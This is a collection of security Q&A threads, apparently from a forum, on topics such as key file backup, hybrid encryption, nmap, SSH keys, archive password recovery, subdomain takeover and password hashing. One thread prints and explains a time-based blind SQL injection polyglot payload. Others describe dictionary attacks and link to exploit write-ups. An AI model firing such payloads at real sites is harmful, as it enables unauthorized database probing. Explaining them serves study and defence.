Encryption Key Storage for the Average User I use KeePass and Veracrypt on my home computer. In addition to a strong password, I also use key files, for example, Veracrypt lets you choose any file on your computer(mp3, jpeg, etc..) as the key. How then would I go about storing/backing up those keys? I found a few pages on this site, but they're all at the company/enterprise level storage, I'm looking for an average user solution.

I have a 1TB hard drive and a 64GB USB, both in really good condition. I'm also pretty good with batch/powershell scripting, so writing a backup script for the keys is not a problem.

I personally don't trust cloud storage, and my KP database and containers never leave my home computer.

My real threat is spyware/malware reading or somehow knowing the files I use as keys and transmitting that somewhere. I keep my PC updated, and I use A/V/MalwareBytes(which I also keep updated).

My real threats are probably local threats, such as unauthorized users, but it's only my family members(they have no idea how to use a computer other than the basics, so I'm not too worried). I also never leave my computer unlocked and unattended. What about burglaries?

Same as backing anything else up. Copy the key to removable storage and keep it somewhere secure. A couple of cheap flash drives would provide redundancy on one of the drives dying. If secure storage is an issue than encrypt this drive with a password.

Worth noting - where do you keep the original keyfile? Because if its on the same drive as the encrypted volume chances are losing one leads to losing both. I.e. backing up the key to a separate drive only makes a lot of sense if you back up the encrypted data too.


Client Side Encryption (CSE) across multiple clients Working on 2 layer security in the cloud (AWS).  Have multiple clients pushing files to S3 document storage which are then retrieved by one EC2 instance.

Multiple external customers each requiring their own encryption (PUT files to S3).  Have 1 internal instance that must be able to GET files from S3 and decrypt.

How can we manage multiple keys in an easy way?
3 legs of our problem

Transport encrypted - solved via SSL
Encrypt at rest - solved via S3 SSE
Client side encryption

Is it possible for each client to encrypt (CSE), transport and then decrypt by S3 which then encrypts (SSE)?   Any other thoughts or references that might help?

I am not sure if you want to only decrypt the files at the internal instance, or each client also has to be able to decrypt its own data.

Anyways, the solution is to use a hybrid encryption scheme with public keys.

Each client encrypts the data with a symmetric cipher like AES and a random key for each file. The random key is then encrypted with the public key of the internal instance. If the client also has to decrypt the file, the AES key is additionally encrypted with the public key of the client.

If you need to ensure authenticity, the file is also signed with the private key of the client.

You need, depending on your exact requirements, either one keypair for the internal instance or n+1 keypairs (internal instance and each client) for n clients.

One software which is able to do exactly what I described is the GNU Privacy Guard.


Does nmap port scan return the correct ports for the websites that don't allow direct IP access I am new to the field of penetration testing, and I'm currently testing an application, for learning purposes with their legit, written permit. When I did a nslookup for that site, it returned me an IP address. But accessing the web directly through that IP address, displayed a server default page which said, the page has been removed or site has moved. However, the site can be accessed via the domain name.

My question is, whether the port scan results generated by nmap returns the correct ports for that website? Or is that result, applied for all the websites hosted on that shared server?
please correct me, if I'm wrong at any point.

nmap returns port information for an IP address, not a website.

When you connect to a web site, your browser sends a request that looks something like this:

GET / HTTP/1.1
Host: www.example.com

The web server software looks at the name provided in the "Host" field and will serve you a response from the appropriate virtual name-based container.  So when you go to www.example.com, the server knows you want that site, and feeds it to you.  However, if you go to 192.168.1.2, your request will look like this:

GET / HTTP/1.1
Host: 192.168.1.2

and the server sees that and says "I don't have a configuration for a name 192.168.1.2!  I'm going to serve a response from the default virtual."  And in your case, the default virtual is a default page that says "the page has been removed or the site has moved."

So that's why you see two different answers from the same web server depending on which name you use.

But that web server is listening to IP 192.168.1.2.  When you scan that IP address with nmap, it will show that (say) port 80 and port 443.  This is separate from the question of what multiple sites might be hosted on one of those ports; the port is open.


Access client certificate stored on another computer We are developing an application, that is using client certificate needed for client authentication (HTTPS connection) when using a specific web service.
When a customer company has hundreds of computers, the IT admin has to install this client certificate on each computer (and every year when the client cert is renewed).

My question is, is it possible to have the client certificate in a single place (single computer, server), so all PC clients will somehow obtain certificate from this server? But what about the private key, which is needed together with the client cert, during the authentication.

And to make it harder, is there a solution that does not require a more complex hardware solution like a domain (as some customers have only a very simple network with a few computers)?

Thank You for any information.

EDIT:
The client certificates are issued by the organization that operates the webservice. Each company, that uses this webservice, earns only one client certificate (so all PC clients within company use the same certificate).

With regard to the comments under my question, I suppose the answer from @SteffenUllrich is the right one:

  "... one client certificate per one company is correct ..." - it might
  be correct from the standpoint that you want to do it this way but it
  is not correct from a standpoint on how client certificates are
  supposed to be used. By trying to use these in a way which is not
  intended you create the problems you currently have and which you are
  asking us to solve.


Implementation of Blizzard's Mobile Authenticator How is the Blizzard Mobile Authenticator implemented? Does it happen to use OATH-TOTP or something similar?

There's a Windows client at http://code.google.com/p/winauth/ which was made by reverse-engineering the protocol. They refer to http://www.wowwiki.com/Battle.net_Mobile_Authenticator_Specification as a description of the protocol, but it's rather sketchy.

You probably have to read the source to an authenticator to get a full understanding. There's one written in python at https://github.com/Adys/python-bna that would probably be the easiest to read.


Is it possible to acquire an SSH authorized RSA private key just by having access to the server? Is it possible to get hold of an RSA private key (pem file) simply by having (root) access to a server that authorizes ssh access using that that private key. For example, can the entries in .ssh/authorized_keys be used to generated the RSA private keys for which they are associated with.

The reason I ask is because I need to disable ssh access to a server with a particular key file. I've edited the authorized_keys file manually and removed the entry associated with that key. That worked and ssh access is no longer possible with that key file, but before I did that, I had created a new private key for ssh access.

I'm concerned that someone with that disabled key file may have been able to acquire the new RSA private key before I was able to delete the old one.

Is that possible?

When authenticating using a key, the actual private key is never transmitted; only some data supplied by the server is signed using the key to prove you have it. SSH'ing to a rogue server using keys doesn't compromise the key forever. It may allow the attacker to use the key while you're connected if you have SSH agent forwarding configured, but once you disconnect the attacker can't use the key anymore.

Note that if you suspect the machine to be compromised, you still should follow the standard procedure just to be safe. Not because of your new key (it's safe) but because of other sensitive data the server may be handling. The fact that you deleted the old key from .ssh/authorized_keys doesn't mean you're not already running a compromised sshd with the attacker's key hardcoded in it.


How key_derivation and key_verification functions are implemented of a 7-zip archive's encryption mechanism? I am curious about how password recovery works for password protected files. And I want to know the exact flow of the 7-zip encryption mechanism  :) !!

7-zip uses the AES-256 encryption algorithm in CBC mode to encrypt files or a folder. The key is generated from the user's passphrase using the SHA-256 hash function. The passphrase is hashed using SHA-256 2^19 (524288) times, to increase the cost of exhaustive search.  Also, to help reduce the risk of dictionary attacks, a salt is appended to the passphrase before hashing.

My first question is: how does key_derivation function work to generate a 256-bit key? What is the importance of the IV for AES CBC mode and how it is generated?

My second and most important question is: how is the key is verified to decrypt the 7-zip archive? How does its key_verification function work?

Key recovery works like this.  The tool guesses many possible passphrases.  For each passphrase, it tests whether that passphrase is correct.  It keeps going until it either finds your correct passphrase, or until you get tired and give up.

So, how do we tell whether the passphrase is correct?  Normally the method would go like this.  We use the key derivation algorithm (the same one that would be used when you decrypt the archive using the 7zip program) to compute the derived AES-256 key.  Then, we try decrypting a few blocks of the ciphertext under this key.

Tyipcally, the plaintext has a hardcoded constant at some fixed position, so we can check whether our guess was correct by checking whether this constant appear at the fixed position in our trial decryption.  (Sometimes, for some file formats, there is no hardcoded constant, but there is a checksum, so we can try decrypting and see whether the checksum is correct.  Or, for some file formats, we may know that the plaintext is typically ASCII, so we can check the trial decryption to see whether it looks like plausible ASCII text.)  The exact method used depends upon the file format, but usually this stage is not a serious barrier.

This approach is known as trial decryption, or brute-force dictionary search, or a dictionary attack.  All of the smarts come in the part that I didn't talk much about: how to come up with a list of plausible guesses at the passphrase, in some intelligent order.

See also Brute-force heuristics used in password cracking.


Subdomain takeover due to improper records INTRO

On hackerone I see a few people writing reports on subdomain takeover due to improper records (CNAME I believe). I want to learn this 'skill' too.

QUESTION

I found a snapchat (sc-cdn.net) domain which is pointing to Fastly, let's say it is fastly.sc-cdn.net. However, when I try to register it on Fastly, Fastly won't allow it and gives the following error

  Domain 'sc-cdn.net' is already taken by another customer.

So, that got me wondering how the user ebrietas succeeded in registering the domain as explained in the following Hackerone report below. Could it be because snapchat 'unclaimed' sc-cdn.net at that particular moment? Because that seems illogical and not likely to me, but if that is not the case; how could one succeed in registering it?

THE REPORT (AGAIN)

https://hackerone.com/reports/154425

OUTRO

Even if it seems impossible to register right now, it, of course, still is a bug since it could be abused in the future when the domain is 'unclaimed' or by abusing a Fastly bug; but does someone know how to register such a domain on Fastly.net? I am very curious. Trial subscription on Fastly.com is free by the way, might help. Thanks in advance folks!

Snapchat had this Fastly instance set up, but eventually cancelled their service. However, they had forgotten to remove the DNS record, which allowed this researcher to simply to register a new Fastly instance with this name.

It's obviously not vulnerable anymore because they either removed the DNS record or just registered their Fastly instance again.

Domain 'sc-cdn.net' is already taken by another customer.

This means you obviously can't register it / take it over.


Distribution of Application API Token I wrote a simple twitter client for command-line use. For such application, twitter requires two types of tokens, namely

application identification,
user OAuth Token.

The second one is to allow the user to connect to their account, and the first one is in principle to identify the developper/application for twitter.

So far, I have distributed (well placed on github) only the code without any token. The User tokens is clear, it is up to the end-user to authorize the access to their account.

The problem that I have is for the application identification token. So far, I require that the end user register an application themselves, take that token, and use the code. I am afraid that having it directly available, people could take it, use it in another application and abuse the Twitter API. But that has a complexity cost for the end-user.

How should I share/organise the application identification that is both secure for the developper and simple for the user?

Your problem is not secret sharing; it's more philosophical in terms of how systems are designed.

If what you have is a CLI application that you have to have on your system and, itself, contacts the Twitter API directly, then you'll never be able to "hide" this application ID token. You either have to accept the risk and give your ID, or the end-users have to register their own. There's no third option.

The alternative solution would be that you host the main application as a server-side component that you (or your "middle-users") keep on a server. There you can keep this application ID token. The CLI application would be used by your end-users as a client that interacts with this server component, and the server part interacts with the Twitter API using the user-provided token and your own application ID token.


API - Security design issues I'm building a GUI Desktop application that will communicate with an API(http) in a webserver.

In the client side I have a GUI Desktop application and a GSM Modem(hardware). The GUI Desktop application will make requests to the API in the webserver and will get the SMS's to send.

My question here goes on how can I design the application so that the Clients don't cheat by sending requests to the API on the webserver saying that message is send. Anyone got any ideas on how to solve this problem? The GSM modem that send SMSs is in a untrusted client. Ideas on how to protect an API dealing with this kind of environment? I've been reading about proof-of-work, this approach can help to solve my problem?

Best Regards

It sounds like you want to provide an app that will pay your subscribers to send SMS messages on your behalf.  But since sending messages might cost the clients, you think your clients might cheat you by claiming to have sent the message without actually having sent it.

Unless there's a cryptographically trustworthy component baked inside the GSM modems that can provide a signed report of status back to you, there is likely no way to enforce it through cryptographic means.  The clients are always able to provide their own implementations.

So instead, I would approach this with a random testing methodology.  For each client, your server could randomly decide when to have them send a message to a trusted receiver.  Maybe the test message is sent one time out of ten ordinary messages, or one message out of 50, something like that.  Maybe you build the testing on a sliding scale.  To start, one out of the first three or four is a test message, then as they continue to pass tests, you reduce the testing requirements.  If someone is cheating, you won't receive the SMS, and you can investigate.

You have to be thoughtful in the design, of course. You can write it into the EULA agreement telling the clients that the system will periodically send test messages, and that they can be unsubscribed at your discretion.  But you mustn't give them details of the testing methodology.  If your clients can learn exactly which messages are test messages, they may still cheat and only respond to the tests.  So your test messages must look like ordinary messages, and they must go to ordinary looking destinations.  And if a message fails to arrive, you shouldn't immediately decide they've cheated you, as there are many other components that could have broken.  You would have to investigate.

A different option would be to require that the clients provide proof of sending in the form of a copy of their billing statement.  GSM systems record every SMS message destination.  Perhaps you could arrange with the GSM providers to audit their records?  Related, perhaps you could lease them the GSM modems and provide the accounts yourself, having the clients pay you for GSM service.


How to prevent installation of Google Chrome extensions How can I prevent the installation of Chrome extensions on desktop?

You can do this with a GPO. Go to Computer Configuration > Administrative Templates > Google > Google Chrome. Look for a folder named  Allowed extensions. There configure a blacklist of *. This will prevent users from installing plugins.


Why do we use Oauth2 instead of Basic Auth in server to server communication using SSL? Why do some API providers ask you to implement Oauth2 in server to server communication that's available only over HTTPS?

In the frontend (app or webapp), Oauth2 is useful to protect the user credentials by storing a token and not the credentials in local storage, filesystem or cookies, and if there is no https channel is not a good idea to pass the credentials on each call rather than the token that can be revoked or eventually expire.

But why going through the implementation process of oauth2 server side to communicate to another server? Credentials are stored on the server, if there is a breach, well, token or not you are screw, the SSL channel protects you from men in the middle and replay attacks. How is this system more secure using outh2 instead of Basic Auth?

There's a similar question about this topic but with no concrete answer, so I'm trying to bring up the topic again Oauth2 vs APIKey in a server to server communication

If you use "username + password" for auth, sending the password on each request is a problem because authenticating the password is slow because the password is stored using a secure password storage method that is deliberately slow. So you want to use the password once to get a long computer-generated token and send that in the subsequent requests.

The high-entropy (long, computer generated) token can be stored in RAM only or can be stored hashed-once in a database, so validating it on every request is cheap.

It can also be stateless (e.g. HMAC of user id and timestamp, using a key available only to the server) but then invalidation requires storing a blacklist of invalidated tokens instead of whitelist of valid tokens, though hopefully the blacklist is smaller and if the tokens have reasonable lifetimes the blacklist shrinks as they expire.

If you send human-generated password in every request (naive basic auth) - stop.
If you send long computer generated token in every request - it doesn't really matter how you format it in the HTTP request. A benefit of using the customary Authorization header is that a bunch of existing code already knows to not log it. Whether you format the token as Authorization: bearer <40char> or Authorization: basic base64(user_id:token or just first-half-of-token:second-half-of-token), it doesn't matter.

The full OAuth2 is too much code (that can contain bad security bugs) if you don't need it, so you can use something simpler (the simpler, the better). But you need to consider at least the cost per-request and how invalidation works.


How to configure routing infrastructure so that the appropriate network traffic gets passed to the honeypot machine (windows xp) I would like to configure local honeypot on windows xp which is installed on vmware, to do so I follow instruction on this link, but as I am new I don't know how can I configure routing infrastructure so that the appropriate network traffic gets passed to the honeypot machine.
could any one help me with this?

It's a honeypot. Who do you want to catch?

If you want to catch random people scanning your network, put it on your DMZ with a publicly accessible host name. Something juicy like, financial01.yoursite.com.

If you want to catch someone who has already penetrated your network and is poking around, put it behind a router with a bunch of other machines. Again, choose an identity for it that will catch attention -- 100 open ports, maybe?

A honeypot is your way to solicit the attention of bad people. Put it where they will look. Then wait.

Also, read the answers for this question. It discusses a lot of the things you're looking for, and elaborates on how you can protect the rest of your network from all the attention your honeypot will get.


Does HTTPS encryption work when there is invalid or there is no certificate? When I have a website run on https and there is no certificate, there is wrong certificate or out of date like here does encryption still work or not?

If there is no certificate, there is also no SSL and no encryption. It is not possible to set up a web site for SSL without a certificate.

If a browser doesn't trust a certificate (and there are many reasons why this could be the case) the encryption itself still works.


What would be a good way to send sensitive information to users that are not very tech-savvy? As web developers we need to supply sensitive data to the clients. Clients are usually not very good with computers. They can send an email, pick up a phone call or open a webpage. But won't be able to set up PGP in their email client.

What would be a good way to send them their login credentials? Are there any services that can help us with this? It needs to be reasonably simple and reasonably secure (generally more secure then sending in an email).

Problem with most ready-made solutions (Basecamp, Slack) is that they send you an email notification with message contents.

Passwords are stored as one-way hashes if done correctly, so you can't send them those. And if you can, make it your top priority to not be able to do so. Password reset workflows through SSL are the way to do that.

For other sensitive data, I'd keep it simple and just require them to log into your system. If not knowing their password is what prevents this, then reset their password through a secure password reset workflow.


What are these ip adresses my computer is connected and how do I block them if they are malicious? When I execute a netstat command i see several ip-adresses that have connection to my pc and I don't what they are for. These are the ip's.

 TCP    192.168.1.20:1042      fa-in-f125:5222        HERGESTELLT
 TCP    192.168.1.20:1238      we-in-f100:http        HERGESTELLT
 TCP    192.168.1.20:1281      bru01m01-in-f82:http   HERGESTELLT
 TCP    192.168.1.20:1282      bru01m01-in-f82:http   HERGESTELLT
 TCP    192.168.1.20:1283      bru01m01-in-f82:http   HERGESTELLT
 TCP    192.168.1.20:1284      bru01m01-in-f82:http   HERGESTELLT
 TCP    192.168.1.20:1285      bru01m01-in-f82:http   HERGESTELLT
 TCP    192.168.1.20:1289      bru01m01-in-f138:https  HERGESTELLT
 TCP    192.168.1.20:1294      bru01m01-in-f101:http  HERGESTELLT
 TCP    192.168.1.20:1295      bru01m01-in-f138:http  HERGESTELLT
 TCP    192.168.1.20:1296      bru01m01-in-f101:http  HERGESTELLT
 TCP    192.168.1.20:1297      ww-in-f132:http        HERGESTELLT
 TCP    192.168.1.20:1298      bru01m01-in-f191:http  HERGESTELLT
 TCP    192.168.1.20:1299      bru01m01-in-f191:http  HERGESTELLT
 TCP    192.168.1.20:1300      bru01m01-in-f191:http  HERGESTELLT
 TCP    192.168.1.20:1301      bru01m01-in-f191:http  HERGESTELLT
 TCP    192.168.1.20:1302      bru01m01-in-f191:http  HERGESTELLT
 TCP    192.168.1.20:1303      fra07s07-in-f113:http  HERGESTELLT
 TCP    192.168.1.20:1304      bru01m01-in-f191:http  HERGESTELLT
 TCP    192.168.1.20:1310      mil01s16-in-f18:http   HERGESTELLT
 TCP    192.168.1.20:1316      mil01s16-in-f18:http   HERGESTELLT
 TCP    192.168.1.20:1318      193.247.193.85:https   HERGESTELLT
 TCP    192.168.1.20:1334      server-216-137-61-177:http  HERGEST
 TCP    192.168.1.20:1381      46.105.131.100:http    HERGESTELLT
 TCP    192.168.1.20:1410      87.252.216.36:https    HERGESTELLT
 TCP    192.168.1.20:1412      87.252.210.40:http     HERGESTELLT
 TCP    192.168.1.20:1425      mil01s16-in-f18:http   HERGESTELLT

How do I find out if they are malicious, for example a connection opened by a troyaner. And
how do I block them?

Understanding netstat and getting useful information

HERGESTELLT  means that there is a connection. Ports that have been opened by server programs on your computer are in state LISTENING (ABHÖREN) instead. Looking at the target ports, this is likely web traffic with the exception of the first one.

In order to get more useful output, you need to use some parameters for netstat as explained in the documentation:

netstat -a -n -o

-a will include ports in state LISTENING,
-n will show the real ip-addresses instead of the DNS reverse lookup.
-o win include the process id (use the Windows Task manager to look it up).

Please keep in mind that in case your computer got infected, you cannot trust the output of netstat as the malicious program might have manipulated it.

Owners of ip-addresses

For the cases in which the IP-address is visible in your log, the owners are as follows:

193.247.193.85: Google
46.105.131.100: Astro Empires is a Massively Multiplayer Online Game
87.252.216.36: Gambling related online games
87.252.210.40: Casino Website

All of them seem to be normal websites, likely not related to trojans.


How to reset a second factor authentication without compromising the authentication process I am designing a system that uses two-factor authentication. Where the user can only granted access only if the two authentication factors passed the verification.

Let us assume that the first factor is simply a password-based authentication and the second factor is a fingerprint biometric.

Now, if the user wants to reset his password, there is no big issue. The user  hit a password reset button and the system email to the user a reset password link or maybe the system can be more aggressive and ask the user to verify his identity using the fingerprint before emailing him the reset password link. To me, this sounds OK

But the other way around is what I do not like. Let us say that the user want to reset his Fingerprint, of course, someone, can ask why the fingerprint does not change (despite the fact that this is not entirely correct) but let us say that the user will use another finger  like the thumb instead of the index finger.  Here, I can see a problem the security level of the system falls down to the password-based security level.

A hacker  who managed to obtain the user password  for our system. He  can claim that he wants to reset his fingerprint because his finger is injured. If we allow him to reset his fingerprint, then why do we have a second factor authentication?

I can send the user a link to his email where he can only reset his fingerprint through this link. But again the email box is only password protected. In fact, it could be worst if our system and the user email box using a single sign one or active directory.

I do not see a technical solution for this problem. I believe only a security policy can only help in this case. But I am not sure  what is the policy exactly.

Here's three solutions:

Have a limited number of one-time-use recovery codes which the user is instructed to print and store in a physically secure location. This is essentially a substitute for "something you have" as it's unlikely the user will remember any of the codes. This is the approach used by Google.

Use transitive trust, this works if you know there's a relationship between users. For example if you know two accounts belong to employees of the same company you could allow one employee who has fully authenticated to approve authentication for another employee logging in with only their password. To a degree AWS uses this method as there isn't an explicit 2FA reset functionality, but you can allow some users to have permission to modify the 2FA settings for others.

Introduce a time delay on authentication resets with the opportunity to deny it. For example, if the user logs in with their password and chooses to initiate a fingerprint reset then they have to wait 72 hours before they can proceed. During that time an alert is sent to the user via email, SMS, etc. and at any point the user can log in using both their password and fingerprint and cancel the reset request. This approach is used by Apple when enabling 2FA to prevent users who only have passwords from getting locked out of their account by a hacker who enables 2FA.


How long would it take to brute force the AES encryption? I'm trying to write a secure code that can keep my site users passwords as safe as possible. Now I'm fairly new to encryption and would like some professional opinions and suggestions. As well as a raw estimate of how long it would take to brute force my current encryption method.

So my encryption begins with creating a random SALT value as such

$salt = dechex(mt_rand(0, 2147483647)) . dechex(mt_rand(0, 2147483647));

After the SALT value is create it is hashed using SHA-256 as such

$password = hash('sha256', $_POST['bindPass'] . $salt);

After the $password hash is create I re-hash the values to secure them farther

 for($round = 0; $round < 656757; $round++)
 {
     $password = hash('sha256', $password . $salt);
 }

Now after rehashing is done the Encryption is bound to a function and is added directly into PDO Insert query. Here is the Encryption function.

function encrypt_cpass($in)
{

    $iv_size = mcrypt_get_iv_size(MCRYPT_TWOFISH, MCRYPT_MODE_ECB);
    $iv = mcrypt_create_iv($iv_size, MCRYPT_RAND);
    $enc = mcrypt_encrypt(MCRYPT_TWOFISH,ENCRYPT_KEY, $in, MCRYPT_MODE_ECB, $iv);
    $enc = base64_encode($enc);
    return $enc;
 }

And finally the PDO part

$query_params = array(
    ':password' => encrypt_cpass($password),
            ..........
}

I can't say I get bad performance with the following code and the script, but I am more worried that I may be doing the password securing not the right way and it may eventually be broken. So again if you have any suggestions or could point me to some good resources please post them.

Cheers.

There are a few things here.  First and foremost, you don't need to encrypt a hash.  The point of a hash is to protect the original password.  Symmetric encryption on top of that doesn't add much since it is fairly likely that the key will be compromised if your servers are compromised anyway (which should be the only way that someone walks off with your user DB).

Second, if you are using a random IV but I don't see it being stored.  I'm not that familiar with mcrypt specifically, so forgive me if it takes care of storing the IV in some format with the encrypted output, but if you don't store the IV in some way, decryption will be impossible.

Third, use a secure, slow cryptographic hash like bcrypt rather than SHA256 and you will get much further security from the hash itself.  Speed in hashing is bad and encryption is unnecessary and ineffective.  Use a slow enough hash that generating rainbow tables is cost prohibitive but verification is not and you should be fine.


Devious Blind SQL Injection Payload I came along this blind SQL injection time based payload and I need to understand how it works

(select(0)from(select(sleep(0)))v)/*'+(select(0)from(select(sleep(12)))v)+'"+(select(0)from(select(sleep(0)))v)+"*/

MySQL uses /* */ as a block comment and no code will be executed within this block. What you are looking at is three injections,  and only one will execute depending on the query that is augmented with this SQL injection attack.  This is an efficiency hack to speed up the process of fuzzing a website for SQL Injection.

If the injection point doesn't use quote marks,  then the first sleep payload will execute and comment out the rest of the injection:

(select(0)from(select(sleep(0)))v)/*

if the injection point is using single quote,  then the 2nd payload will execute:

'+(select(0)from(select(sleep(12)))v)+'

Finally,  if the query is using double quotes,  then the 3rd and final payload will execute:

"+(select(0)from(select(sleep(0)))v)+"*/

Aren't compounded injections neat?


What is the difference between exploitable security measures and security theater? As an example, the US no-fly list is commonly referred to as a security theater given that it is easy to work around. However blurring license plates when posting a picture online is not considered a security theater, even though license plates are open for everyone to see when the car is driving.

So where is the exact line between security measures that are merely exploitable and security measures that can be referred to as "security theater"?

A security measure has a goal: what it would do if nobody tried to work around it. This goal is intended to benefit someone — for example not allowing other people to withdraw money from my bank account, or preventing people from hijacking planes. It may be more or less efficient at achieving this goal, and thus it may provide more or less benefits. A security measure is security theater when its efficacy is negligible.

Blurring license plates is a privacy measure. Privacy is a holistic concern: the goal is not to make it impossible for anyone to know where my car was on Feb 29th 2019, but to make it hard for most people to know where my car was most of the time. Sure, Eve and Francis saw me on that day, but Hanna probably doesn't know that, and even if she knew they would be unlikely to tell her without some serious persuasion. So if she wants to know where I was, she'll have to do a lot more work than a Google image search for my license plate number. Blurring license plates does have a significant benefit to my privacy.

In contrast, the US no-fly list is supposed to make flying airplanes safer. The potential attacker isn't my ex-girlfriend: it's people who may have a network that can provide false papers, and who may be prepared to die for their cause. It's not just exploitable — every security measure is, with the right price or the right army — it's easily exploitable by the kind of people it's supposed to defend against. It's also easily exploitable at zero cost with a trivial workaround: bomb the queue at the airport instead of bombing the plane. It's security theater because it has negligible efficacy.

Additionally, the expression “security theater” is only used when the goal has received some media attention. Part of the connotation of the expression is that someone is making a show of implementing security measures, but those measures are inefficient. If a security measure falls in the forest but nobody is here to hear it, it isn't commonly called “theater”.


Does HTTP protocol interpret contents of cookies and query strings in URL, whereas it doesn't interpret message bodies? HTTP knows to look for user names and passwords in authorization
headers in HTTP requests. So this is at HTTP level.
Is it correct that putting user passwords into message bodies of
HTTP requests is at web application level, which is higher than the
HTTP level, because HTTP doesn't interpret the content of the
message bodies, while web applications do?  Does HTTP   know to look
for user names and passwords or for other specifics in message
bodies?
Since user passwords can also be put into cookies and URLs as query
strings (although bad idea), I was wondering if these two ways are
also at the web application level not at the HTTP level? Does the
HTTP protocol also not interpret the contents of cookies and query
strings of URL? Does HTTP specify server  to look for user names and
passwords or for something else in cookies and query strings?

Specific client and server libraries may parse the contents of
cookies and URL query strings. I was wondering if they implement the
functionalities as an extra outside of the HTTP protocol?

In summary, does HTTP protocol interpret contents of cookies and query strings in URL, in the same sense that it doesn't interpret message bodies?

My questions come from How does a HTTP client authenticate itself with a HTTP server?

Let us try to answer the questions one at a time:

  Is it correct that putting user passwords ..., while web applications do? Does HTTP know to look for user names and passwords or for other specifics in message bodies?

At the HTTP level, the body is an opaque stream of bytes. But it is common to use HTML form answers to give passwords for form authentication. Then, it is not processed at HTTP level, even if it uses an encoding which is mainly (if not only) used during HTTP exchanges.

  Since user passwords can also be put into cookies and URLs as query strings (although bad idea), I was wondering if these two ways are also at the web application level not at the HTTP level? Does the HTTP protocol also not interpret the contents of cookies and query strings of URL? Does HTTP specify server to look for user names and passwords or for something else in cookies and query strings?

The query string is a representation of a mapping field => value, where one field name may be used more that once. The interpretation on the meaning is left to the application.

The content of a cookie is also an opaque bytes data which can only be interpreted at application level. The HTTP protocol only specifies how cookies are exchanged.

  In summary, does HTTP protocol interpret contents of cookies and query strings in URL, in the same sense that it doesn't interpret message bodies?

Definitely not. At the HTTP protocol level, the content of cookies, query string and body are all opaque.


Why aren't infinite-depth wildcard certificates allowed? As far as I can tell, an SSL certificate for *.example.com is good for foo.example.com and bar.example.com, but not foo.bar.example.com.

Wildcards certificates cannot have *.*.example.com as their subject. I guess this is due to the fact that certificates like example.* aren't allowed -- allowing characters before the wildcard can lead to a malicious user matching their certificate with the wrong domain.

However, I don't see any problem with allowing certificates of the *.example.com variety to apply to all subdomains, including sub-subdomains to an infinite depth. I don't see any use case where the subdomains of a site are "trusted" but the sub-subdomains are not.

This probably causes many problems. As far as I can tell, there's no way to cleanly get certificates for all sub-subdomains; you either become a CA, or you buy certificates for each subdomain.

What's the reasoning, if any, behind restricting *.example.com to single-depth subdomains only?

Bonus question: Similarly, is there a reason behind the blanket ban on characters before a wildcard? After all, if you allow only dots and asterisks before a wildcard, there's no way that the site from a different domain can be spoofed.

Technically, usage of wildcards is defined in RFC 2818, which does allow names like "*.*.example.com" or "foo.*.bar.*.example.com" or even "*.*.*". However, between theory and practice, there can be, let's say, practical differences (theory and practice match perfectly only in theory, not in practice). Web browsers have implemented stricter rules, because:

Implementing multi-level wildcard matching takes a good five minutes more than implementing matching of names with a single wildcard.
Browser vendors did not trust existing CA for never issuing an "*.*.com" certificate.
Developers are human beings, thus very good at not seeing what they cannot imagine, so multi-wildcard names were not implemented by people who did not realize that they were possible.

So Web browsers will apply restrictions, which RFC 6125 tries to at least document. Most RFC are pragmatist: if reality does not match specification, amend the specification, not reality. Note that browsers will also enforce extra rules, like forbidding "*.co.uk" (not all browsers use the same rules, though, and they are not documented either).

Professional CA also enter the dance with their own constraints, such as identity checking tests before issuing certificates, or simply unwillingness to issue too broad wildcard certificates: the core business of a professional CA is to sell many certificates, and wildcard certificates don't help for that. Quite the opposite, in fact. People want to buy wildcard certificates precisely to avoid buying many individual certificates.

Another theory which failed to make it into practice is Name Constraints. With this X.509 extension, it would be possible for a CA to issue a certificate to a sub-CA, restricting that sub-CA so that it may issue server certificates only in a given domain tree. A Name Constraints extension with an "explicit subtree" of value ".example.com" would allow www.example.com and foo.bar.example.com. In that model, the owner of the example.com domain would run his own CA, restricted by its über-CA to only names in the example.com subtree. That would be fine and dandy.

Unfortunately, anything you do with X.509 certificates is completely worthless if deployed implementations (i.e. Web browsers) don't support it, and existing browsers don't support name constraints. They don't, because there is no certificate with name constraints to process (so that would be useless code), and there is no such certificate because Web browsers would not be able to process them anyway. To bootstrap things, someone must start the cycle, but browser vendors wait after professional CA, and professional CA are unwilling to support name constraints, for the same reasons as previously (which all come down to money, in the long run).


Why are there no free resources on exploit development on macOS? There are many resources on Linux exploit development, but I cannot find any resources targeting macOS, except for some bad ones on YouTube.

Why are there no write-ups on macOS exploitation techniques, taking into account the Mach-O file format and the BSD-based kernel?

A new exploit for iOS/macOS discussed here — https://blog.zecops.com/vulnerabilities/analysis-and-reproduction-of-cve-2019-7286/

Here also is another older blog on macOS Mach-O targeting — https://www.offensive-security.com/vulndev/evocam-remote-buffer-overflow-on-osx/


What are the alternatives for a bearer token mechanism? Who gets a bearer token, will have all the privileges of the actual owner of the token. Is there any tokening mechanism which is not suffering from this issue?

There's HMAC/signature based authentication. With HMAC/signature, the secret token is never sent over the wire, but instead the message only contains the MAC/signature, which is valid only for that particular message and cannot be copied to a different message. The MAC/signature is calculated based on a secret token on the client machine and the hash of the message.

Most HMAC/signature based authentication uses software token, which is fine for most purpose, but if you also want to prevent the the token from being duplicated, you can also use hardware based token. With hardware based token, the secret token is kept on a cryptographic HSM which is not accessible to application code.


Do drive by download attacks include malicious file downloading? I read every where that drive by download attack consists in downloading malware to the victim's PC and execute it without the victim's permission.

My question: does this "download" term include downloading any given file (virus.exe, worm.js ...) ? Or does it consists only in a something like malicious JavaScript attacking vulnerable plug-ins or features of the victim's brower ?

I ask this question because I did not find any article speaking about this.

Yes. As you can read on this article, Drive-by download includes:

  downloads which install an unknown or counterfeit executable program,    ActiveX component, or Java applet
  computer virus, spyware, malware, or crimeware

They can rely on the users' behaviour (e.g. malicious simulation of an OS message), or exploit a browser / plugin vulnerability to trigger the file download without user's consent.


How to use password certificate in code securely I have a piece of code that is using a certificate for authentication with a cloud service.
The certificate is stored locally, and is protected by a password - thus what the developers did is to hardcode the password in their code.
I was wondering if there is a more secure method of performing this, as if the piece of code is compromised, the certificate password is compromised as well.
Any better solutions?

You should ask your developers if they are completely mad. There are a number of serious issues, that show the lack of competence of your developers.

Hard code variable data. So, if anything changes, for example you change the password, the developers need to be called in to change the software (including the tests, install etc.) In the past that was great for job security.
Encode sensitive security data, in this case the password. Like you already guessed, if someone sees the source code, your security is lost. The fact that they have done this means that they have no clue or regard for security.
Your certificate has a limited life-span. That means that your new certificate must have the same password or else your developers need to recompile, test and distribute the software.

So what should you do?

Change the password. Consider it compromised, because all the developers know it by now.
